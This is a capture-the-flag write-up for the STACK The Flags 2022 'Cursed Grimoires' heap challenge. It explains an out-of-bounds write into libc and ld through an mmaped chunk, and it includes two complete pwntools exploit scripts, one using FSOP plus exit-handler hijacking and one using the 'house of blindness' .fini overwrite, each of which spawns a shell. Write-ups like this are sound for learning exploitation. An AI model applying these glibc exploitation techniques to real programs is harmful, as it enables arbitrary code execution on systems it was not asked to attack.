Skip to content

Cursed Grimoires

In STACK The Flags 2022, 1000 points

No description for this challenge

Challenge files: pwn_cursed_grimoires.zip

Vulnerability

This challenge allows a user to malloc an arbitrarily size chunk and write to it. Unlike most heap challenge, the user cannot free the chunk, or malloc more than one chunk.

The vulnerability occurs in the edit_grimoire function:

c
unsigned __int64 edit_grimoire()
{
  char v1; // [rsp+3h] [rbp-Dh]
  int v2; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("\x1B[2J\x1B[H");
  if ( GRIMOIRE )
  {
    printf("Index to edit => ");
    __isoc99_scanf("%d", &v2);
    while ( getchar() != 10 )
      ;
    printf("Replacement => ");
    v1 = getchar();
    while ( getchar() != 10 )
      ;
    GRIMOIRE[v2] = v1;
  }
  return v3 - __readfsqword(0x28u);
}

We have unlimited heap out of bounds write. While this primitive seems powerful, it is nearly useless without leaking the address of the heap chunk we are writing from. Additionally, we are only allowed an integer offset, so we cannot reach function pointers in libc from the heap.

However, not all chunks returned from malloc are allocated in the heap.

Chunks larger than the MMAP_THRESHOLD (currently 131072 bytes or 128kB, though we went with 1000000 byte chunks to be safe) will be mmaped instead. This allocates pages for the chunk, thus the allocation will be page aligned. Additionally, each mmaped page has a consistent offset from other mmaped pages.

As libc and ld also reside in mmaped pages, our mmaped chunk will have a constant offset relative to these libraries.

Now that we have arbitrary relative write into libc and ld, what next?

There are two methods

  1. Leaking libc base via FSOP, then getting PC control via further FSOP or exit funcs
  2. Attacking .fini handler execution (house of blindness)

FSOP -> exit funcs

Note: the FSOP part of the section is based on this writeup

The linked writeup is a great resource that explains the technique in detail, so I will just (greatly) summarize it.

The _IO_write_base and _IO_write_ptr control the buffer bounds of a buffered file (output) stream. When the file stream is flushed, the bytes from _IO_write_base to _IO_write_ptr will be written. In this challenge, since stdout is unbuffered, the size of the buffer is 0 (ie _IO_write_base == _IO_write_ptr). Interestingly, these pointers are set to libc addresses, pointing adjacent to memory containing libc pointers.

Initially, both pointers point to the same address (0x7f114d2cc803). Note that just adjacent, at 0x7f114d2cc808 is a libc address. image.png

Using the arbitrary relative write vulnerability, we can modify the LSB of _IO_write_base and _IO_write_ptr so that they are no longer the same. This will result in some libc memory being printed, leaking pointers in the process.

However, we must also ensure that _IO_read_end == _IO_write_base so that libc checks can bypassed.

With a libc leak, the challenge is reduced to something similar to wide open, which I solved previously via __exit_funcs exploitation.

py
from pwn import *

e = ELF("cursed_grimoires_patched")
libc = ELF("./libc.so.6", checksec=False)
context.binary = e


def setup():
    p = e.process()
    return p

def write(p, offset, b):
    for i,x in enumerate(b):
        p.sendline("2")
        p.sendline(str(offset+i))
        p.sendline(bytes([x]))

rol = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

if __name__ == '__main__':
    p = setup()

    p.recvuntil("Enter choice")
    p.sendline("1")
    p.sendline("1000000")
    p.sendline(b"aaa")

    offset_of_chunk_from_libc = 0xf7ff0
    offset_stdout = 0x21a780 + offset_of_chunk_from_libc
    write_base = offset_stdout + 0x20
    write_ptr = offset_stdout + 0x28
    read_end = offset_stdout + 0x10


    # leak libc
    write(p, write_base, b"\x08")
    write(p, write_ptr, b"\x90")
    write(p, read_end, b"\x08")

    p.recvuntil("Replacement => ")
    leak = u64(p.recvline()[:6]+b"\0\0")

    libc.address = leak - 0x21ba70

    # zero out rotation
    key_addr = -0x2890 + offset_of_chunk_from_libc
    write(p, key_addr, b"\0"*8)
    
    fn_ptr_addr = 0x21af18 + offset_of_chunk_from_libc
    bin_sh = next(libc.search(b"/bin/sh"))
    # write 'encrypted' function pointer
    write(p, fn_ptr_addr, p64(rol(libc.sym.system, 0x11, 64)))
    write(p, fn_ptr_addr+8, p64(bin_sh))

    p.sendline("3")

    p.interactive()

House of blindness

Note: this section is based on this writeup

This technique is based on analysis of the _dl_fini function, which calls functions in the .fini_array section of the binary on program exit. In fact _dl_fini is one of the functions originally registered in the __exit_funcs handler exploited above.

Because of PIE, the base of the address of the binary is only known at runtime. Thus _dl_fini relies on a link_map struct that stores the base address of the binary (l_addr) as well as the offsets of several important sections, including .fini (l_info). The offsets of each section can be found here.

Here's the code that handles calling the destructors:

c
if (l->l_info[DT_FINI_ARRAY] != NULL)
    {
        ElfW(Addr) *array =
        (ElfW(Addr) *) (l->l_addr
                + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
        unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
                / sizeof (ElfW(Addr)));
        while (i-- > 0)
        ((fini_t) array[i]) ();
    }

/* Next try the old-style destructor.  */
if (ELF_INITFINI && l->l_info[DT_FINI] != NULL)
    DL_CALL_DT_FINI(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);

We'll ignore the .fini_array case as that involves an additional layer of indirection. We'll zero out l->l_info[DT_FINI_ARRAY] so that it doesn't get called.

In the .fini case, we have two parameters we can control: l->l_addr and l->l_info[DT_FINI]->d_un.d_ptr. l->l_info[DT_FINI] points to a Elf64_Dyn struct, which contains a 8 byte tag, followed by the offset of the section. For example, since DT_FINI is 13, the tag is 0xd, followed by the offset: 0x1584: image.png

However, if we modify the value of l->l_info[DT_FINI], we can make it point to elsewhere in the binary, thus altering the value of l->l_info[DT_FINI]->d_un.d_ptr, possibly to a libc or ld address. Then, we could just overwrite l->l_addr to the difference between the 'leaked' address and the target address.

However, since we don't know the binary base address, we are limited to modifying the LSB of l->l_info[DT_FINI].

Luckily, ld provides the _r_debug symbol, that is used to pass information to debuggers. While the struct is located in ld, a reference to it is stored in the binary: image.png

As it's relatively close (<256 bytes) away, it makes a great target for our fake Elf64_Dyn struct. Accounting for the 8 byte tag, we would need to modify the LSB of l->l_info[DT_FINI] from 0x30 to 0xd0.

Now that l->l_info[DT_FINI]->d_un.d_ptr is a ld address, we just need to set l->l_addr to the difference between this address and our target, such as a one gadget.

py

from pwn import *

e = ELF("cursed_grimoires_patched")
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-linux-x86-64.so.2", checksec=False)
context.binary = e

def setup():
    p = e.process()
    return p

def write(p, offset, b):
    for i,x in enumerate(b):
        p.sendline("2")
        p.sendline(str(offset+i))
        p.sendline(bytes([x]))

if __name__ == '__main__':
    p = setup()

    p.recvuntil("Enter choice")
    p.sendline("1")
    p.sendline("1000000")
    p.sendline(b"aaa")

    offset_of_libc_from_chunk = 0xf7ff0
    offset_of_chunk_from_ld = offset_of_libc_from_chunk + 0x22a000
    link_map_offset = 0x3b2e0
    l_info_offset = 8*8

    offset_of_r_debug_from_libc = 0x265118
    # one gadget
    target_offset = 0xebcf5
    # Our 'base address' will be _r_debug (in l->l_info[DT_FINI])
    # Our offset will be l->addr
    diff = p64(target_offset-offset_of_r_debug_from_libc, signed=True)
    
    # https://elixir.bootlin.com/glibc/glibc-2.35/source/elf/elf.h#L868
    DT_FINI = 13
    DT_FINI_ARRAY = 26

    # zero out l->_info[DT_FINI_ARRAY]
    write(p, offset_of_chunk_from_ld + link_map_offset + l_info_offset + 8*DT_FINI_ARRAY, p64(0))
    # make l->l_info[DT_FINI] point to address where _r_debug is stored
    # subtract 8 because address is offset 8 in the struct
    write(p, offset_of_chunk_from_ld + link_map_offset + l_info_offset + 8*DT_FINI, b"\xd0")
    # write diff to l->addr
    write(p, offset_of_chunk_from_ld + link_map_offset, diff)

    p.sendline("3")
    p.interactive()